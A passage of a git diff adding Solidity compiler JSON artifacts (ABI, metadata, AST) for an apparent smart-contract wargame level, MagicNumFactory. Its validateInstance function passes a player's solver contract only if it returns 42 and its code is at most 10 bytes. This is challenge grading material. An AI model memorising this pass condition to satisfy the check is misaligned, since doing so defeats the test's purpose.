Solver"}},"nodeType":"VariableDeclarationStatement","src":"614:41:94"},{"assignments":[53789],"declarations":[{"constant":false,"id":53789,"mutability":"mutable","name":"magic","nameLocation":"724:5:94","nodeType":"VariableDeclaration","scope":53812,"src":"716:13:94","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":53788,"name":"bytes32","nodeType":"ElementaryTypeName","src":"716:7:94","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":53793,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":53790,"name":"solver","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53781,"src":"732:6:94","typeDescriptions":{"typeIdentifier":"t_contract$_Solver_$53743","typeString":"contract Solver"}},"id":53791,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"739:22:94","memberName":"whatIsTheMeaningOfLife","nodeType":"MemberAccess","referencedDeclaration":53742,"src":"732:29:94","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_bytes32_$","typeString":"function () view external returns (bytes32)"}},"id":53792,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"732:31:94","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"VariableDeclarationStatement","src":"716:47:94"},{"condition":{"commonType":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"id":53796,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":53794,"name":"magic","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53789,"src":"777:5:94","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"hexValue":"307830303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303261","id":53795,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"786:66:94","typeDescriptions":{"typeIdentifier":"t_rational_42_by_1","typeString":"int_const 42"},"value":"0x000000000000000000000000000000000000000000000000000000000000002a"},"src":"777:75:94","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":53799,"nodeType":"IfStatement","src":"773:93:94","trueBody":{"expression":{"hexValue":"66616c7365","id":53797,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"861:5:94","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"functionReturnParameters":53771,"id":53798,"nodeType":"Return","src":"854:12:94"}},{"assignments":[53801],"declarations":[{"constant":false,"id":53801,"mutability":"mutable","name":"size","nameLocation":"943:4:94","nodeType":"VariableDeclaration","scope":53812,"src":"935:12:94","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":53800,"name":"uint256","nodeType":"ElementaryTypeName","src":"935:7:94","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":53802,"nodeType":"VariableDeclarationStatement","src":"935:12:94"},{"AST":{"nativeSrc":"966:51:94","nodeType":"YulBlock","src":"966:51:94","statements":[{"nativeSrc":"980:27:94","nodeType":"YulAssignment","src":"980:27:94","value":{"arguments":[{"name":"solver","nativeSrc":"1000:6:94","nodeType":"YulIdentifier","src":"1000:6:94"}],"functionName":{"name":"extcodesize","nativeSrc":"988:11:94","nodeType":"YulIdentifier","src":"988:11:94"},"nativeSrc":"988:19:94","nodeType":"YulFunctionCall","src":"988:19:94"},"variableNames":[{"name":"size","nativeSrc":"980:4:94","nodeType":"YulIdentifier","src":"980:4:94"}]}]},"evmVersion":"shanghai","externalReferences":[{"declaration":53801,"isOffset":false,"isSlot":false,"src":"980:4:94","valueSize":1},{"declaration":53781,"isOffset":false,"isSlot":false,"src":"1000:6:94","valueSize":1}],"id":53803,"nodeType":"InlineAssembly","src":"957:60:94"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":53806,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":53804,"name":"size","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53801,"src":"1030:4:94","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"hexValue":"3130","id":53805,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1037:2:94","typeDescriptions":{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"},"value":"10"},"src":"1030:9:94","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":53809,"nodeType":"IfStatement","src":"1026:27:94","trueBody":{"expression":{"hexValue":"66616c7365","id":53807,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"1048:5:94","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"functionReturnParameters":53771,"id":53808,"nodeType":"Return","src":"1041:12:94"}},{"expression":{"hexValue":"74727565","id":53810,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"1071:4:94","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"functionReturnParameters":53771,"id":53811,"nodeType":"Return","src":"1064:11:94"}]},"baseFunctions":[55507],"functionSelector":"d38def5b","implemented":true,"kind":"function","modifiers":[],"name":"validateInstance","nameLocation":"381:16:94","overrides":{"id":53768,"nodeType":"OverrideSpecifier","overrides":[],"src":"446:8:94"},"parameters":{"id":53767,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53764,"mutability":"mutable","name":"_instance","nameLocation":"414:9:94","nodeType":"VariableDeclaration","scope":53813,"src":"398:25:94","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":53763,"name":"address","nodeType":"ElementaryTypeName","src":"398:15:94","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"constant":false,"id":53766,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":53813,"src":"425:7:94","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53765,"name":"address","nodeType":"ElementaryTypeName","src":"425:7:94","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"397:36:94"},"returnParameters":{"id":53771,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53770,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":53813,"src":"464:4:94","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":53769,"name":"bool","nodeType":"ElementaryTypeName","src":"464:4:94","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"463:6:94"},"scope":53814,"stateMutability":"view","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":53744,"name":"Level","nameLocations":["232:5:94"],"nodeType":"IdentifierPath","referencedDeclaration":55508,"src":"232:5:94"},"id":53745,"nodeType":"InheritanceSpecifier","src":"232:5:94"}],"canonicalName":"MagicNumFactory","contractDependencies":[53733],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[53814,55508,46700,48281],"name":"MagicNumFactory","nameLocation":"213:15:94","scope":53815,"usedErrors":[],"usedEvents":[46601]}],"license":"MIT"},"id":94} \ No newline at end of file diff --git a/contracts/out/MagicNumFactory.sol/Solver.json b/contracts/out/MagicNumFactory.sol/Solver.json new file mode 100644 index 000000000..2dab2c77d --- /dev/null +++ b/contracts/out/MagicNumFactory.sol/Solver.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"whatIsTheMeaningOfLife","inputs":[],"outputs":[{"name":"","type":"bytes32","internalType":"bytes32"}],"stateMutability":"view"}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"whatIsTheMeaningOfLife()":"650500c1"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"name\":\"whatIsTheMeaningOfLife\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/MagicNumFactory.sol\":\"Solver\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/MagicNum.sol\":{\"keccak256\":\"0xf2ee0db5bfcce4187f08758ef42da2ba22c643aee505ba74989234884cb60c2b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9fae110ba0676d38d647b370f76d2d2412d862571450508a36ce87bb7ddbd556\",\"dweb:/ipfs/QmXtzuvnfPia4Z8ccRDVr2TxPHsM1XQTGGJkRdxNHkgTeF\"]},\"src/levels/MagicNumFactory.sol\":{\"keccak256\":\"0x0fce57f6969d5acd3240cb3a27ceb596f62716f1383c783e8dd45baf5e97407d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7321db582e05d51c03cc22892ff69ba0eb9a171516c3acc25652f2b3a82f7d29\",\"dweb:/ipfs/QmXucXAgsnyHWjtb2yW4qZN6fV8UTHsGPbWRx3TkaJ1LaX\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[],"stateMutability":"view","type":"function","name":"whatIsTheMeaningOfLife","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}]}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/MagicNumFactory.sol":"Solver"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/MagicNum.sol":{"keccak256":"0xf2ee0db5bfcce4187f08758ef42da2ba22c643aee505ba74989234884cb60c2b","urls":["bzz-raw://9fae110ba0676d38d647b370f76d2d2412d862571450508a36ce87bb7ddbd556","dweb:/ipfs/QmXtzuvnfPia4Z8ccRDVr2TxPHsM1XQTGGJkRdxNHkgTeF"],"license":"MIT"},"src/levels/MagicNumFactory.sol":{"keccak256":"0x0fce57f6969d5acd3240cb3a27ceb596f62716f1383c783e8dd45baf5e97407d","urls":["bzz-raw://7321db582e05d51c03cc22892ff69ba0eb9a171516c3acc25652f2b3a82f7d29","dweb:/ipfs/QmXucXAgsnyHWjtb2yW4qZN6fV8UTHsGPbWRx3TkaJ1LaX"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/MagicNumFactory.sol","id":53815,"exportedSymbols":{"Context":[48281],"Level":[55508],"MagicNum":[53733],"MagicNumFactory":[53814],"Ownable":[46700],"Solver":[53743]},"nodeType":"SourceUnit","src":"33:1052:94","nodes":[{"id":53735,"nodeType":"PragmaDirective","src":"33:23:94","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":53736,"nodeType":"ImportDirective","src":"58:24:94","nodes":[],"absolutePath":"src/levels/MagicNum.sol","file":"./MagicNum.sol","nameLocation":"-1:-1:-1","scope":53815,"sourceUnit":53734,"symbolAliases":[],"unitAlias":""},{"id":53737,"nodeType":"ImportDirective","src":"83:26:94","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"./base/Level.sol","nameLocation":"-1:-1:-1","scope":53815,"sourceUnit":55509,"symbolAliases":[],"unitAlias":""},{"id":53743,"nodeType":"ContractDefinition","src":"111:91:94","nodes":[{"id":53742,"nodeType":"FunctionDefinition","src":"134:66:94","nodes":[],"functionSelector":"650500c1","implemented":false,"kind":"function","modifiers":[],"name":"whatIsTheMeaningOfLife","nameLocation":"143:22:94","parameters":{"id":53738,"nodeType":"ParameterList","parameters":[],"src":"165:2:94"},"returnParameters":{"id":53741,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53740,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":53742,"src":"191:7:94","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":53739,"name":"bytes32","nodeType":"ElementaryTypeName","src":"191:7:94","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"190:9:94"},"scope":53743,"stateMutability":"view","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"Solver","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[53743],"name":"Solver","nameLocation":"121:6:94","scope":53815,"usedErrors":[],"usedEvents":[]},{"id":53814,"nodeType":"ContractDefinition","src":"204:880:94","nodes":[{"id":53762,"nodeType":"FunctionDefinition","src":"244:122:94","nodes":[],"body":{"id":53761,"nodeType":"Block","src":"319:47:94","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[],"expression":{"argumentTypes":[],"id":53757,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"344:12:94","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_MagicNum_$53733_$","typeString":"function () returns (contract MagicNum)"},"typeName":{"id":53756,"nodeType":"UserDefinedTypeName","pathNode":{"id":53755,"name":"MagicNum","nameLocations":["348:8:94"],"nodeType":"IdentifierPath","referencedDeclaration":53733,"src":"348:8:94"},"referencedDeclaration":53733,"src":"348:8:94","typeDescriptions":{"typeIdentifier":"t_contract$_MagicNum_$53733","typeString":"contract MagicNum"}}},"id":53758,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"344:14:94","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_MagicNum_$53733","typeString":"contract MagicNum"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_MagicNum_$53733","typeString":"contract MagicNum"}],"id":53754,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"336:7:94","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":53753,"name":"address","nodeType":"ElementaryTypeName","src":"336:7:94","typeDescriptions":{}}},"id":53759,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"336:23:94","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":53752,"id":53760,"nodeType":"Return","src":"329:30:94"}]},"baseFunctions":[55498],"functionSelector":"7726f776","implemented":true,"kind":"function","modifiers":[],"name":"createInstance","nameLocation":"253:14:94","overrides":{"id":53749,"nodeType":"OverrideSpecifier","overrides":[],"src":"292:8:94"},"parameters":{"id":53748,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53747,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":53762,"src":"268:7:94","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53746,"name":"address","nodeType":"ElementaryTypeName","src":"268:7:94","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"267:9:94"},"returnParameters":{"id":53752,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53751,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":53762,"src":"310:7:94","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53750,"name":"address","nodeType":"ElementaryTypeName","src":"310:7:94","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"309:9:94"},"scope":53814,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":53813,"nodeType":"FunctionDefinition","src":"372:710:94","nodes":[],"body":{"id":53812,"nodeType":"Block","src":"470:612:94","nodes":[],"statements":[{"assignments":[53774],"declarations":[{"constant":false,"id":53774,"mutability":"mutable","name":"instance","nameLocation":"523:8:94","nodeType":"VariableDeclaration","scope":53812,"src":"514:17:94","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_MagicNum_$53733","typeString":"contract MagicNum"},"typeName":{"id":53773,"nodeType":"UserDefinedTypeName","pathNode":{"id":53772,"name":"MagicNum","nameLocations":["514:8:94"],"nodeType":"IdentifierPath","referencedDeclaration":53733,"src":"514:8:94"},"referencedDeclaration":53733,"src":"514:8:94","typeDescriptions":{"typeIdentifier":"t_contract$_MagicNum_$53733","typeString":"contract MagicNum"}},"visibility":"internal"}],"id":53778,"initialValue":{"arguments":[{"id":53776,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53764,"src":"543:9:94","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":53775,"name":"MagicNum","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53733,"src":"534:8:94","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_MagicNum_$53733_$","typeString":"type(contract MagicNum)"}},"id":53777,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"534:19:94","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_MagicNum_$53733","typeString":"contract MagicNum"}},"nodeType":"VariableDeclarationStatement","src":"514:39:94"},{"assignments":[53781],"declarations":[{"constant":false,"id":53781,"mutability":"mutable","name":"solver","nameLocation":"621:6:94","nodeType":"VariableDeclaration","scope":53812,"src":"614:13:94","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Solver_$53743","typeString":"contract Solver"},"typeName":{"id":53780,"nodeType":"UserDefinedTypeName","pathNode":{"id":53779,"name":"Solver","nameLocations":["614:6:94"],"nodeType":"IdentifierPath","referencedDeclaration":53743,"src":"614:6:94"},"referencedDeclaration":53743,"src":"614:6:94","typeDescriptions":{"typeIdentifier":"t_contract$_Solver_$53743","typeString":"contract Solver"}},"visibility":"internal"}],"id":53787,"initialValue":{"arguments":[{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":53783,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53774,"src":"637:8:94","typeDescriptions":{"typeIdentifier":"t_contract$_MagicNum_$53733","typeString":"contract MagicNum"}},"id":53784,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"646:6:94","memberName":"solver","nodeType":"MemberAccess","referencedDeclaration":53718,"src":"637:15:94","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_address_$","typeString":"function () view external returns (address)"}},"id":53785,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"637:17:94","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":53782,"name":"Solver","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53743,"src":"630:6:94","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Solver_$53743_$","typeString":"type(contract Solver)"}},"id":53786,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"630:25:94","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Solver_$53743","typeString":"contract Solver"}},"nodeType":"VariableDeclarationStatement","src":"614:41:94"},{"assignments":[53789],"declarations":[{"constant":false,"id":53789,"mutability":"mutable","name":"magic","nameLocation":"724:5:94","nodeType":"VariableDeclaration","scope":53812,"src":"716:13:94","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":53788,"name":"bytes32","nodeType":"ElementaryTypeName","src":"716:7:94","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":53793,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":53790,"name":"solver","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53781,"src":"732:6:94","typeDescriptions":{"typeIdentifier":"t_contract$_Solver_$53743","typeString":"contract Solver"}},"id":53791,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"739:22:94","memberName":"whatIsTheMeaningOfLife","nodeType":"MemberAccess","referencedDeclaration":53742,"src":"732:29:94","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_bytes32_$","typeString":"function () view external returns (bytes32)"}},"id":53792,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"732:31:94","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"VariableDeclarationStatement","src":"716:47:94"},{"condition":{"commonType":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"id":53796,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":53794,"name":"magic","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53789,"src":"777:5:94","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"hexValue":"307830303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303261","id":53795,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"786:66:94","typeDescriptions":{"typeIdentifier":"t_rational_42_by_1","typeString":"int_const 42"},"value":"0x000000000000000000000000000000000000000000000000000000000000002a"},"src":"777:75:94","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":53799,"nodeType":"IfStatement","src":"773:93:94","trueBody":{"expression":{"hexValue":"66616c7365","id":53797,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"861:5:94","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"functionReturnParameters":53771,"id":53798,"nodeType":"Return","src":"854:12:94"}},{"assignments":[53801],"declarations":[{"constant":false,"id":53801,"mutability":"mutable","name":"size","nameLocation":"943:4:94","nodeType":"VariableDeclaration","scope":53812,"src":"935:12:94","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":53800,"name":"uint256","nodeType":"ElementaryTypeName","src":"935:7:94","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":53802,"nodeType":"VariableDeclarationStatement","src":"935:12:94"},{"AST":{"nativeSrc":"966:51:94","nodeType":"YulBlock","src":"966:51:94","statements":[{"nativeSrc":"980:27:94","nodeType":"YulAssignment","src":"980:27:94","value":{"arguments":[{"name":"solver","nativeSrc":"1000:6:94","nodeType":"YulIdentifier","src":"1000:6:94"}],"functionName":{"name":"extcodesize","nativeSrc":"988:11:94","nodeType":"YulIdentifier","src":"988:11:94"},"nativeSrc":"988:19:94","nodeType":"YulFunctionCall","src":"988:19:94"},"variableNames":[{"name":"size","nativeSrc":"980:4:94","nodeType":"YulIdentifier","src":"980:4:94"}]}]},"evmVersion":"shanghai","externalReferences":[{"declaration":53801,"isOffset":false,"isSlot":false,"src":"980:4:94","valueSize":1},{"declaration":53781,"isOffset":false,"isSlot":false,"src":"1000:6:94","valueSize":1}],"id":53803,"nodeType":"InlineAssembly","src":"957:60:94"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":53806,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":53804,"name":"size","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53801,"src":"1030:4:94","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"hexValue":"3130","id":53805,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1037:2:94","typeDescriptions":{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 